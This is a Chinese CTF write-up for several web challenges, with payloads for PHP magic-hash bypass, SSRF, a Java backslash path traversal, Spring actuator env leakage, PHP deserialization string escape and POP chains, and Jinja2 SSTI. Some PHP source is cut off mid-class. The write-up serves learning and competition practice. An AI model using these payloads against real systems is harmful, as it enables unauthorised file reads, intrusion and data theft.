值班邮件台

题目

夜班值守,手别太快。别人的邮件别乱翻,自己的联调痕迹也别乱留。台子搭得仓促,收尾却没收干净,安静的界面下面,总还有点不该留下的东西。

image-20260509212510176

点击进入后台预览面板

http://39.105.213.28:49103/admin.php

Only admin can access this page. 

修改cookie

mail_user=admin; mail_role=admin

image-20260509212738091

先看preview-readme.txt

/download.php?file=files/notes/preview-readme.txt

[后台预览面板联调说明]

1. 仅供值班管理员使用。
2. 预览器只用于查看本机内部诊断结果,不支持外部地址。
3. 原型阶段的双人复核逻辑已单独摘录,调试时可直接查看:admin.php
4. 诊断地址命名规则已从后台原型迁出,当前以 route-index.txt 为准。
5. 线上会删掉这些联调材料,值班同学看完记得清理。

也许有任意文件读取?

?file=files/notes/route-index.txt

[内部诊断路由索引]

当前仍保留的诊断别名如下:
- health  -> /internal/health
- mailq   -> /internal/queue
- final   -> /internal/report?view=flag&slot=last

?file=admin.php


这是典型 PHP 0e 魔术哈希绕过,token_a=240610708token_b=QNKCDZO 可过

测试了一下诊断地址功能,感觉是SSRF

多试几下最后传

token_a=240610708
&token_b=QNKCDZO
&target_url=http://127.0.0.1/internal/report?view=flag&slot=last

但是用yakit会失败,因为会把最后的&slot=last识别成一个新的参数,但我们想要这是一个整体的地址,直接在页面里传参

image-20260509214404601

灵感笔记

题目

你是一个自由撰稿人,使用"灵感笔记"云笔记工具。今天登录后,偶然发现这个笔记系统似乎有点问题...找到隐藏的Flag!

image-20260509214503078

注册了个账号admin/admin(注册别的话,笔记内容和对应url会略有不同,导致无法解题),随便探索一下功能没有很明显的利用点,抓个包看看

改下cookie

mail_user=admin; mail_role=admin;

没啥用

看眼源代码

有一个/main.js

(function() {
    'use strict';

    const API_BASE = '/api/v1';

    function init() {
        console.log('[System] Project Management System initialized');
        console.log('[Info] Client-side validation module loaded');
        
        if (document.getElementById('projectId')) {
            validateProjectAccess();
        }
    }

    function validateProjectAccess() {
        const projectIdElement = document.getElementById('projectId');
        if (!projectIdElement) return false;

        const projectId = projectIdElement.textContent.trim();
        console.log('[Validation] Checking project access for:', projectId);

        if (!isValidProjectIdFormat(projectId)) {
            console.warn('[Security] Invalid project_id format detected');
            return false;
        }

        const userProjects = getUserProjectIds();
        if (!userProjects.includes(projectId)) {
            console.warn('[Security] Project ID does not belong to current user');
            console.log('[Debug] User projects:', userProjects);
            return false;
        }

        console.log('[Validation] Project access granted');
        return true;
    }

    function isValidProjectIdFormat(projectId) {
        const uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
        return uuidRegex.test(projectId);
    }

    function getUserProjectIds() {
        const projectLinks = document.querySelectorAll('.project-card a');
        const projectIds = [];
        
        projectLinks.forEach(link => {
            const match = link.getAttribute('href').match(/\/project\/([a-f0-9-]+)/i);
            if (match) {
                projectIds.push(match[1]);
            }
        });

        return projectIds;
    }

    async function fetchProjectDetails(projectId) {
        try {
            console.log('[API] Sending request to: POST /api/v1/project/detail');
            console.log('[API] Request body:', JSON.stringify({ project_id: projectId }));
            
            const response = await fetch(`${API_BASE}/project/detail`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ project_id: projectId })
            });

            const data = await response.json();
            
            if (!response.ok) {
                console.error('[API Error]', data);
                if (data.trace_id) {
                    console.log('[Debug] Trace ID for this error:', data.trace_id);
                    console.log('[Debug] Use this trace_id at /feedback to contact the author');
                }
            }
            
            return data;
        } catch (error) {
            console.error('[Network Error]', error);
            return { error: 'Network error occurred' };
        }
    }

    function fetchAdminHint() {
        if (!document.getElementById('admin-hint')) return;
        
        fetch('/api/admin/hint').then(r => r.json()).then(data => {
            if (data.hint) {
                data.hint.split('\n').forEach(line => {
                    console.log('%c' + line, line.includes('===') ? 'color: yellow; font-weight: bold;' : 'color: cyan; font-family: monospace;');
                });
            }
        }).catch(() => {});
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', function() {
            init();
            fetchAdminHint();
        });
    } else {
        init();
        fetchAdminHint();
    }

    window.ProjectSystem = {
        validateProjectAccess,
        fetchProjectDetails,
        getUserProjectIds
    };

})();

/api/admin/hint

{
  "hint": "=== API Endpoint Hint ===\nPOST /api/v1/project/detail HTTP/1.1\nHost: localhost:5000\nContent-Type: application/json\n\n{\"project_id\": \"\"}"
}

访问该接口,需要一个project_id,我们记得首页有一个“非常重要的笔记”/project/flag-project-001,应该和这个有关

POST /api/v1/project/detail
Content-Type: application/json

{"project_id":"flag-project-001"}

回显

{
  "error": "\u8bbf\u95ee\u88ab\u62d2\u7edd",
  "message": "\u60a8\u65e0\u6743\u67e5\u770b\u6b64\u7b14\u8bb0",
  "trace_id": "102cf740-0cb7-4247-81ca-d135bcf84d24"
}

这个id也用不了

研究了半天发现请求/project/flag-project-001之后cookie变了

我们请求之后用新的cookie去“联系作者”

POST /feedback

trace_id=61964cdf-aa22-4217-95bc-d00aa704fd0a

回显

{
  "level": "\u9519\u8bef",
  "message": "\u5c1d\u8bd5\u975e\u6cd5\u8bbf\u95ee\u91cd\u8981\u7b14\u8bb0",
  "metadata": {
    "action": "access_denied",
    "source": "notes_module"
  },
  "project_id": "flag-project-001",
  "request_data": "POST /api/v1/project/detail | project_id=flag-project-001",
  "stack_trace": "Object: 80049591000000000000007d94288c0474797065948c0b464c41475f4f424a454354948c04666c6167948c24495343437b63347265667531315f64656275675f74723463655f6c33346b5f316430727d948c0a70726f6a6563745f6964948c10666c61672d70726f6a6563742d303031948c0974696d657374616d70948c1a323032362d30352d30395431343a33333a30362e34373630393894752e",
  "timestamp": "2026-05-09T14:33:06.476112",
  "trace_id": "61964cdf-aa22-4217-95bc-d00aa704fd0a",
  "user_id": "95eb6093-272b-4df9-8fd4-bbe4c2b0d39c"
}

把stack_trace的内容10进制转字符串即可拿到flag

image-20260509224016649

逆向穿越

知识点补充

Java 里 Path.resolve() 是什么
它是 Java 用来拼路径的。
比如:

Paths.get("/app/resources/config").resolve("infra").resolve("default").resolve("setup.yml")

结果就是:
/app/resources/config/infra/default/setup.yml
这很正常。
但有个关键规则:
如果 resolve() 传入的是 绝对路径,它会直接把前面的路径“顶掉”。
例如:

Paths.get("/app/resources/config").resolve("/app/application.yml")

结果不是:
/app/resources/config/app/application.yml
而是:
/app/application.yml
因为后面的参数是绝对路径,它优先级更高。
这就是这题最关键的知识点。

题目

这是一个被重重防护包裹的配置节点。这里的防火墙非常敏感,任何试图跨越边界的行为都会被瞬间捕获。除非……你学会了如何倒着走路。

image-20260510084407701

倒着走路吗?难道是../路径穿越?

先访问提示的两个路径

/config/infra/default/setup.yml

config: type: 'infra' status: 'ok' 

/config/app/dev/application.yml

server: port: 8080 hint: 'This is just a mock repository config. The real secrets are in the main application.yml at the system root (/app/application.yml).' 

这只是一个模拟的仓库配置文件。真正的密钥/敏感信息存放在系统根目录下的主配置文件 `/app/application.yml` 中。

拿到新的提示/app/application.yml

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.
Sun May 10 12:21:42 UTC 2026
There was an unexpected error (type=Not Found, status=404).

白标错误页面

此应用程序没有为 /error 路径显式配置映射,因此您看到此页面作为备用提示。
2026年5月10日星期日 12:21:42 UTC
发生意外错误(类型=未找到,状态=404)

简单解释一下:这是 Spring Boot 等框架中常见的默认错误页面,意思是你访问的页面或接口不存在(404),而且程序没有自定义错误处理逻辑。

尝试目录穿越,但直接用 ../、..%2f 都会被拦(后面通过读源码确认,这题的关键不是普通穿越,而是“反着走”的路径处理缺陷)
最终可以成功读取 /app/application.yml 的 payload 是:
/config/application.yml/%5c/app%2fapplication.yml

回显

server:
  port: 8080

spring:
  application:
    name: cloud-config-central

management:
  endpoints:
    web:
      base-path: "/internal-monitor-xyz123"
      exposure:
        include: "env" 
  endpoint:
    env:
      keys-to-sanitize: "password,secret,key,token,.*credentials.*,vcap_services,FLAG"

system:
  diagnostic:
    auto-dump: true
    last-crash-time: "2026-03-10T08:15:32Z"
    backup-download-path: ${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}

这里拿到了两个关键信息:

  1. base path 是:
    /internal-monitor-xyz123
  2. FLAG 环境变量存在,但会被脱敏。

尝试访问/internal-monitor-xyz123/env

{
  "activeProfiles": [],
  "propertySources": [
    {
      "name": "server.ports",
      "properties": {
        "local.server.port": {
          "value": 8080
        }
      }
    },
    {
      "name": "servletContextInitParams",
      "properties": {}
    },
    {
      "name": "systemProperties",
      "properties": {
        "awt.toolkit": {
          "value": "sun.awt.X11.XToolkit"
        },
        "java.specification.version": {
          "value": "11"
        },
        "sun.cpu.isalist": {
          "value": ""
        },
        "sun.jnu.encoding": {
          "value": "UTF-8"
        },
        "java.class.path": {
          "value": "target/challenge-0.0.1-SNAPSHOT.jar"
        },
        "java.vm.vendor": {
          "value": "Oracle Corporation"
        },
        "sun.arch.data.model": {
          "value": "64"
        },
        "java.vendor.url": {
          "value": "https://openjdk.java.net/"
        },
        "catalina.useNaming": {
          "value": "false"
        },
        "user.timezone": {
          "value": "Etc/UTC"
        },
        "os.name": {
          "value": "Linux"
        },
        "java.vm.specification.version": {
          "value": "11"
        },
        "sun.java.launcher": {
          "value": "SUN_STANDARD"
        },
        "sun.boot.library.path": {
          "value": "/usr/local/openjdk-11/lib"
        },
        "org.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH": {
          "value": "true"
        },
        "sun.java.command": {
          "value": "target/challenge-0.0.1-SNAPSHOT.jar"
        },
        "jdk.debug": {
          "value": "release"
        },
        "sun.cpu.endian": {
          "value": "little"
        },
        "user.home": {
          "value": "/home/ctf"
        },
        "user.language": {
          "value": "en"
        },
        "java.specification.vendor": {
          "value": "Oracle Corporation"
        },
        "java.version.date": {
          "value": "2022-04-19"
        },
        "java.home": {
          "value": "/usr/local/openjdk-11"
        },
        "file.separator": {
          "value": "/"
        },
        "java.vm.compressedOopsMode": {
          "value": "32-bit"
        },
        "line.separator": {
          "value": "\n"
        },
        "java.specification.name": {
          "value": "Java Platform API Specification"
        },
        "java.vm.specification.vendor": {
          "value": "Oracle Corporation"
        },
        "FILE_LOG_CHARSET": {
          "value": "UTF-8"
        },
        "java.awt.graphicsenv": {
          "value": "sun.awt.X11GraphicsEnvironment"
        },
        "java.awt.headless": {
          "value": "true"
        },
        "java.protocol.handler.pkgs": {
          "value": "org.springframework.boot.loader"
        },
        "sun.management.compiler": {
          "value": "HotSpot 64-Bit Tiered Compilers"
        },
        "java.runtime.version": {
          "value": "11.0.15+10"
        },
        "user.name": {
          "value": "ctf"
        },
        "path.separator": {
          "value": ":"
        },
        "os.version": {
          "value": "5.4.0-216-generic"
        },
        "java.runtime.name": {
          "value": "OpenJDK Runtime Environment"
        },
        "file.encoding": {
          "value": "UTF-8"
        },
        "spring.beaninfo.ignore": {
          "value": "true"
        },
        "java.vm.name": {
          "value": "OpenJDK 64-Bit Server VM"
        },
        "java.vendor.version": {
          "value": "18.9"
        },
        "java.vendor.url.bug": {
          "value": "https://bugreport.java.com/bugreport/"
        },
        "java.io.tmpdir": {
          "value": "/tmp"
        },
        "catalina.home": {
          "value": "/tmp/tomcat.8080.8086595882900153827"
        },
        "java.version": {
          "value": "11.0.15"
        },
        "user.dir": {
          "value": "/app"
        },
        "os.arch": {
          "value": "amd64"
        },
        "java.vm.specification.name": {
          "value": "Java Virtual Machine Specification"
        },
        "PID": {
          "value": "1"
        },
        "java.awt.printerjob": {
          "value": "sun.print.PSPrinterJob"
        },
        "sun.os.patch.level": {
          "value": "unknown"
        },
        "CONSOLE_LOG_CHARSET": {
          "value": "UTF-8"
        },
        "catalina.base": {
          "value": "/tmp/tomcat.8080.8086595882900153827"
        },
        "java.library.path": {
          "value": "/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib"
        },
        "java.vm.info": {
          "value": "mixed mode, sharing"
        },
        "java.vendor": {
          "value": "Oracle Corporation"
        },
        "java.vm.version": {
          "value": "11.0.15+10"
        },
        "sun.io.unicode.encoding": {
          "value": "UnicodeLittle"
        },
        "java.class.version": {
          "value": "55.0"
        },
        "org.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH": {
          "value": "true"
        }
      }
    },
    {
      "name": "systemEnvironment",
      "properties": {
        "SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH": {
          "value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat",
          "origin": "System Environment Property \"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH\""
        },
        "PATH": {
          "value": "/usr/local/openjdk-11/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
          "origin": "System Environment Property \"PATH\""
        },
        "MAVEN_HOME": {
          "value": "/usr/share/maven",
          "origin": "System Environment Property \"MAVEN_HOME\""
        },
        "HOSTNAME": {
          "value": "10015f84f776",
          "origin": "System Environment Property \"HOSTNAME\""
        },
        "JAVA_HOME": {
          "value": "/usr/local/openjdk-11",
          "origin": "System Environment Property \"JAVA_HOME\""
        },
        "OLDPWD": {
          "value": "/app",
          "origin": "System Environment Property \"OLDPWD\""
        },
        "FLAG": {
          "value": "******",
          "origin": "System Environment Property \"FLAG\""
        },
        "PWD": {
          "value": "/app",
          "origin": "System Environment Property \"PWD\""
        },
        "JAVA_VERSION": {
          "value": "11.0.15",
          "origin": "System Environment Property \"JAVA_VERSION\""
        },
        "LANG": {
          "value": "C.UTF-8",
          "origin": "System Environment Property \"LANG\""
        },
        "HOME": {
          "value": "/home/ctf",
          "origin": "System Environment Property \"HOME\""
        }
      }
    },
    {
      "name": "Config resource 'file [application.yml]' via location 'optional:file:./'",
      "properties": {
        "server.port": {
          "value": 8080,
          "origin": "URL [file:application.yml] - 2:9"
        },
        "spring.application.name": {
          "value": "cloud-config-central",
          "origin": "URL [file:application.yml] - 6:11"
        },
        "management.endpoints.web.base-path": {
          "value": "/internal-monitor-xyz123",
          "origin": "URL [file:application.yml] - 11:18"
        },
        "management.endpoints.web.exposure.include": {
          "value": "env",
          "origin": "URL [file:application.yml] - 13:18"
        },
        "management.endpoint.env.keys-to-sanitize": {
          "value": "password,secret,key,token,.*credentials.*,vcap_services,FLAG",
          "origin": "URL [file:application.yml] - 16:25"
        },
        "system.diagnostic.auto-dump": {
          "value": true,
          "origin": "URL [file:application.yml] - 20:16"
        },
        "system.diagnostic.last-crash-time": {
          "value": "2026-03-10T08:15:32Z",
          "origin": "URL [file:application.yml] - 21:22"
        },
        "system.diagnostic.backup-download-path": {
          "value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat",
          "origin": "URL [file:application.yml] - 22:27"
        }
      }
    },
    {
      "name": "Config resource 'class path resource [application.yml]' via location 'optional:classpath:/'",
      "properties": {
        "server.port": {
          "value": 8080,
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 2:9"
        },
        "spring.application.name": {
          "value": "cloud-config-central",
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 6:11"
        },
        "management.endpoints.web.base-path": {
          "value": "/internal-monitor-xyz123",
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 11:18"
        },
        "management.endpoints.web.exposure.include": {
          "value": "env",
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 13:18"
        },
        "management.endpoint.env.keys-to-sanitize": {
          "value": "password,secret,key,token,.*credentials.*,vcap_services,FLAG",
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 16:25"
        },
        "system.diagnostic.auto-dump": {
          "value": true,
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 20:16"
        },
        "system.diagnostic.last-crash-time": {
          "value": "2026-03-10T08:15:32Z",
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 21:22"
        },
        "system.diagnostic.backup-download-path": {
          "value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat",
          "origin": "class path resource [application.yml] from challenge-0.0.1-SNAPSHOT.jar - 22:27"
        }
      }
    }
  ]
}

发现有备份文件路径

"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH": {
  "value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"
}

这个路径被成功解析并应用到了配置中:

"system.diagnostic.backup-download-path": {
  "value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"
}

访问/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat

下载文件

直接搜ISCC找到flag

image-20260510204314819

后话

复现时候发现gpt居然没想的这么直白,而且他居然是尝试读取了源码

/config/x/%5c/app%2fsrc%2fmain%2fjava%2fcom%2fctf%2fchallenge%2fConfigController.java

@RestController
public class ConfigController {
    private static final String BASE_PATH = "/app/resources/config"; 
    private static final String SANDBOX_PATH = "/app";
    @GetMapping("/config/{app}/{profile}/{filename}")
    public ResponseEntity getConfig(
            @PathVariable String app,
            @PathVariable String profile,
            @PathVariable String filename) {
        try {
            if (app.contains("..") || filename.contains("..")) {
                return ResponseEntity.status(403).body("Blocked: Security Policy Violation.");
            }
            if (profile.contains("../")) {
                return ResponseEntity.status(403).body("Warning: Illegal encoding or slash type detected in resource path");
            }
            String decodedProfile = URLDecoder.decode(profile, StandardCharsets.UTF_8.toString());
            if (decodedProfile.contains("..") && !decodedProfile.contains("..\\")) {
                return ResponseEntity.status(403).body("Warning: Illegal encoding or slash type detected in resource path");
            }
            String normalizedPart = decodedProfile.replace("\\", "/"); 
            Path base = Paths.get(BASE_PATH).toAbsolutePath();
            
            Path filePath = base.resolve(app).resolve(normalizedPart).resolve(filename).normalize();
            
            Path sandbox = Paths.get(SANDBOX_PATH).toAbsolutePath().normalize();
            if (!filePath.startsWith(sandbox)) {
                return ResponseEntity.status(404).body("File Not Found."); 
            }
            String content = new String(Files.readAllBytes(filePath));
            return ResponseEntity.ok(content);
        } catch (NoSuchFileException e) {
            return ResponseEntity.status(404).body("File Not Found.");
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Internal Error.");
        }
    }
}

逐行讲解漏洞

  1. 接口长什么样
    @GetMapping("/config/{app}/{profile}/{filename}")
    说明这个接口收 3 个路径参数:
  • app
  • profile
  • filename
    例如:
    /config/infra/default/setup.yml
    就对应:
  • app = infra
  • profile = default
  • filename = setup.yml

  1. 开发者想做什么
    看这两行:
private static final String BASE_PATH = "/app/resources/config"; 
private static final String SANDBOX_PATH = "/app";

开发者的思路大概是:

  • 所有配置文件都从 /app/resources/config 下面取
  • 最终路径只要还在 /app 下面,就允许访问
    也就是想做一个“受限文件读取器”。

  1. 第一层过滤:防 ..
if (app.contains("..") || filename.contains("..")) {
return ResponseEntity.status(403).body("Blocked: Security Policy Violation.");
}

这说明作者知道路径穿越风险,所以把 app 和 filename 里的 .. 拦了。
再看:

if (profile.contains("../")) {
return ResponseEntity.status(403).body("Warning: Illegal encoding or slash type detected in resource path");
}

这里又专门拦 profile 里的 "../"。
说明作者重点防的是:
../

这种传统穿越写法。

  1. 第二层过滤:URL 解码后再检查
String decodedProfile = URLDecoder.decode(profile, StandardCharsets.UTF_8.toString());
if (decodedProfile.contains("..") && !decodedProfile.contains("..\\")) {
return ResponseEntity.status(403).body("Warning: Illegal encoding or slash type detected in resource path");
}

这段意思是:

  • 先把 URL 编码解码
  • 如果出现 ..,一般要拦
  • 但如果是 ..\,反而放行
    这已经很危险了,因为它在“特殊照顾”反斜杠。
    开发者可能以为:
  • ../ 危险
  • ..\ 不一定危险,或者是 Windows 风格路径,可以兼容一下
    但实际上后面又做了替换,这就埋雷了。

  1. 真正漏洞点:反斜杠替换
String normalizedPart = decodedProfile.replace("\\", "/");

这是核心。
如果用户传入的是:
%5c
URL 解码后就是:

然后这行代码会把它替换成:
/
也就是说,攻击者本来传的是一个“反斜杠”,最后被程序主动改成了“正斜杠”。

  1. 第二个核心漏洞:路径拼接
Path filePath = base.resolve(app).resolve(normalizedPart).resolve(filename).normalize();

假设:

  • base = /app/resources/config
  • app = application.yml
  • normalizedPart = /
  • filename = app/application.yml

得到:
/app/resources/config/application.yml
然后:
.resolve("/")
注意,这里的 / 是 绝对路径
所以前面的内容会被覆盖掉,结果直接变成:
/回到了根目录
再继续:
.resolve("app/application.yml")
得到:
/app/application.yml
最后 .normalize() 规范化后还是:
/app/application.yml
于是,攻击者就成功从原本限制目录:
/app/resources/config
跳到了目标文件:
/app/application.yml


如果 profile 是 %5c,解码后就是 \,然后被替换成 /:
decodedProfile = ""
normalizedPart = "/"
而在 Java Path.resolve() 中,如果传入的是绝对路径 /,就会直接覆盖前面的路径。
所以:
base.resolve(app).resolve("/").resolve("app/application.yml")
最终会变成:
/app/application.yml
同时它还满足最后的沙箱校验:
filePath.startsWith("/app")
所以不会被拦截。
这也正好对应题目“倒着走路”的提示,本质上就是借助反斜杠经过二次处理后,变成了绝对路径覆盖。

数字古墓

题目

在被遗忘的数字荒原深处
沉睡着一座古老的“序列陵墓”
传说陵墓中布满机关
前殿守着能够吞噬字符的“文字陷阱”
后殿则由一连串会自行苏醒的“对象守卫”看守
只有能读懂变量铭文
操纵机关链条的探索者
才能解开陵墓的终极封印——
并从沉迷千年的黑暗中带走那段隐藏的 FLAG
你,准备好踏入这座数字墓室了吗?

题目分两关:

  1. rune_trial.php
  2. mechanism_chamber.php

首页只是前端把第一关按钮禁用了,f12尝试修改disabled无果,查看源代码

  		    stage1Btn.addEventListener('click', function() {
                if (!stage1Btn.disabled) {
                    alert('阶段一验证通过!');
                    window.location.href = 'rune_trial.php';
                }
            });
            
            stage2Btn.addEventListener('click', function() {
                window.location.href = 'mechanism_chamber.php';
            });

阶段一是rune_trial.php

直接访问即可:

  • http://39.105.213.28:10026/rune_trial.php
  • http://39.105.213.28:10026/mechanism_chamber.php

第一关

class nameA {
    public $x;
    public $y;
    
    public function __construct($a, $b) {
        $this->x = $a;
        $this->y = $b;
    }
    
    public function __wakeup() {
        if ($this->y === 'admin123') {
            include('relic_manifest.php');
            echo "成功!文件名: " . $filename;
        }
    }
}

function p1($d) { 
    return p2($d); 
} 

function p2($i) { 
    $key = "bnhpjowd"; 
    $search = '';
    for ($j = 0; $j < strlen($key); $j++) {
        $search .= chr(ord($key[$j]) - 1);
    }
    $replace = 'iscc';
    return str_replace($search, $replace, $i);
}

if (isset($_GET['d']) && isset($_GET['p'])) {
    $input = $_GET['d'];
    $passwd = $_GET['p'];
    if (strpos($input, 'amgoinvc') === false) {
        die('invalid input');
    }
    $obj = new nameA($input, $passwd);
    $ser = serialize($obj);
    $result = p1($ser);
    unserialize($result);
}

先看替换内容:

  • $key = "bnhpjowd"
  • 每个字符减 1 得到:amgoinvc

所以实际是:str_replace('amgoinvc', 'iscc', $ser)

也就是把长度 8 的字符串替换成长度 4 的字符串。这就是典型的字符逃逸

第一关利用思路

正常对象:new nameA($input, $passwd)

序列化后类似:O:5:"nameA":2:{s:1:"x";s:LEN1:"...";s:1:"y";s:LEN2:"...";}

我们控制 x 和 y。要求 x 里必须含有 amgoinvc,而它会在序列化串中被替换成更短的 iscc,这样 x 的声明长度和真实长度不一致,真实长度更小,于是后面的内容会被x的值吞并。

构造:

  • d = amgoinvcamgoinvcamgoinvcamgoinvc
  • p = ";s:1:"y";s:8:"admin123";}

URL 编码后的请求:

http://39.105.213.28:10026/rune_trial.php?d=amgoinvcamgoinvcamgoinvcamgoinvc&p=%22%3Bs%3A1%3A%22y%22%3Bs%3A8%3A%22admin123%22%3B%7D

成功后得到第二关要读取的文件名:W3f82KD9.txt

第一关原理总结

本质是序列化字符串替换漏洞

  1. x 中放入多个 amgoinvc
  2. 反序列化前被替换为更短的 iscc
  3. 导致 x 的字符串边界错位
  4. p 中内容拼接解释成新的属性定义
  5. y === admin123
  6. 触发 __wakeup()

第二关

target;
        if (!$name) {
            return;
        }
        if (!preg_match('/^[A-Za-z0-9_-]+\.txt$/', $name)) {
            return; 
        }
        $path = $baseDir . DIRECTORY_SEPARATOR . $name;
        $real = realpath($path);
        if ($real === false) {
            return;
        }
        if (strpos($real, $baseDir . DIRECTORY_SEPARATOR) !== 0) {
            return;
        }
        if (@is_file($real) && @filesize($real) < 2048) {
            @highlight_file($real);
        }
    }
    
    public function __invoke() {
        if (empty($this->callback)) {
            return;
        }

        $action = @unserialize($this->callback);
        
        if (!is_array($action) || count($action) !== 2) {
            return;
        }
        
        [$obj, $method] = $action;
        
        if (!($obj instanceof self)) {
            return;
        }

        if (!is_string($method)) {
            return;
        }

        $map = [
            'view' => 'run',
        ];

        if (!isset($map[$method])) {
            return;
        }

        $real = $map[$method];
        $obj->$real();
    }
}

class GateSentinel {  
    public $object;
    public $tool;
    
    public function __construct($init = 'start.html') {
        $this->object = $init;
    }
    
    public function __toString() {
        if (isset($this->tool['blade'])) {
            $this->tool['blade']->object;
        }
        return "GateSentinel";
    }
    
    public function __wakeup() {
        if (preg_match("/\.\.|flag|etc/i", $this->object)) {
            $this->object = "index.html";
        }
    }
}

class Keystone {  
    public $center;
    
    public function __construct() {
        $this->center = [];
    }
    
    public function __get($name) {
        $processor = $this->center;

        if (!is_object($processor)) {
            return null;
        }

        $safeClasses = ['RitualEngine', 'GateSentinel', 'RuneScribe', 'Chronicler', 'Keystone'];
        if (!in_array(get_class($processor), $safeClasses, true)) {
            return null; 
        }

        if (is_callable($processor)) {
            return $processor(); 
        }

        return null;
    }

}

if (isset($_POST['data'])) {
    $input = $_POST['data'];
    $allowed = [
        'Chronicler',
        'RuneScribe',
        'RitualEngine',
        'GateSentinel',
        'Keystone',
    ];
    $data = @unserialize($input, ['allowed_classes' => $allowed]); 
第二关利用链

目标是调用 RitualEngine->run() 并让 $target = 'W3f82KD9.txt'

调用链设计:

  1. POST 反序列化最外层 GateSentinel
  2. GateSentinel::__wakeup() 里对 $this->object 执行 preg_match
  3. 如果 object 是对象,preg_match 会尝试把对象转字符串
  4. 触发内层 GateSentinel::__toString()
  5. __toString() 访问 $this->tool['blade']->object
  6. 这里 blade 指向 Keystone
  7. 访问不存在属性 object,触发 Keystone::__get()
  8. Keystone->center 放一个可调用的 RitualEngine
  9. Keystone::__get()is_callable($processor) 为真,于是执行 $processor()
  10. 触发 RitualEngine::__invoke()
  11. __invoke() 会反序列化 $callback
  12. $callback 设为 [$readerEngine, 'view']
  13. 映射 view -> run
  14. 执行 $readerEngine->run()
  15. 读取 W3f82KD9.txt
为什么能绕过过滤

GateSentinel::__wakeup() 里有:

if (preg_match("/\.\.|flag|etc/i", $this->object)) {
    $this->object = "index.html";
}

看起来像要拦路径穿越和 flag。但这里我们不直接把字符串文件名放在最外层 object,而是放一个对象。

这样:

  • preg_match() 对对象做字符串转换
  • 进入的是 __toString() 触发链
  • 真正读取文件的文件名在更深处 RitualEngine->target
  • 不会被这里直接改写

而且文件名 W3f82KD9.txt 本身也满足 /^[A-Za-z0-9_-]+\.txt$/,所以 run() 可以正常读。

第二关 payload 生成脚本
target = 'W3f82KD9.txt';
$action = serialize([$reader, 'view']);

$invoker = new RitualEngine();
$invoker->callback = $action;

$key = new Keystone();
$key->center = $invoker;

$inner = new GateSentinel();
$inner->tool = ['blade' => $key];

$outer = new GateSentinel();
$outer->object = $inner;

echo serialize($outer), PHP_EOL;

Oracle's Whisper

知识补充

这题现在的水平做不了一点,就单纯学习下吧

Padding Oracle Attack(填充提示攻击)

https://www.jianshu.com/p/833582b2f560

https://ctf-wiki.org/crypto/blockcipher/mode/padding-oracle-attack/

学习学习

1.加密逻辑

2.爆破解密原理

3.攻击手法

企业公文套红预览系统

题目

image-20260516140849225

image-20260516140904119

有预览功能,"模板",想到SSTI

但是先看源码泄露

/backup/index.php.bak

 $notice = "预览入口已迁移到 /preview";
  $compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。";

/backup/app.py.bak

  def build_doc():
      return {
          'title': '关于进一步规范企业公文套红预览流程的通知',
          'department': '企业信息化办公室',
          'doc_no': '信办发〔2026〕12号',
          'date': '2026-02-24',
          'summary': '预览服务仅用于内部版式核对,正式发文前仍需复核内容与编号。',
          'flag': '*+*+*+*'
      }

  # smoke test:

  # assert doc.get('title') == '关于进一步规范企业公文套红预览流程的通知'

这里 直接暴露了变量名 doc ,而且 flag 就在这个字典里。

在 Jinja2 模板引擎中,后端传给模板的变量可以直接在模板中访问。既然源码显示有一个 doc 字典被传入模板,那么:

{{ doc.get('flag') }}

就可以直接获取 flag。

paylaod:

{{doc.get(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](102) + ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](108) + ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](97) + ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](103))}}

image-20260516144700818


原文地址: https://www.cveoy.top/t/topic/qGGU 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录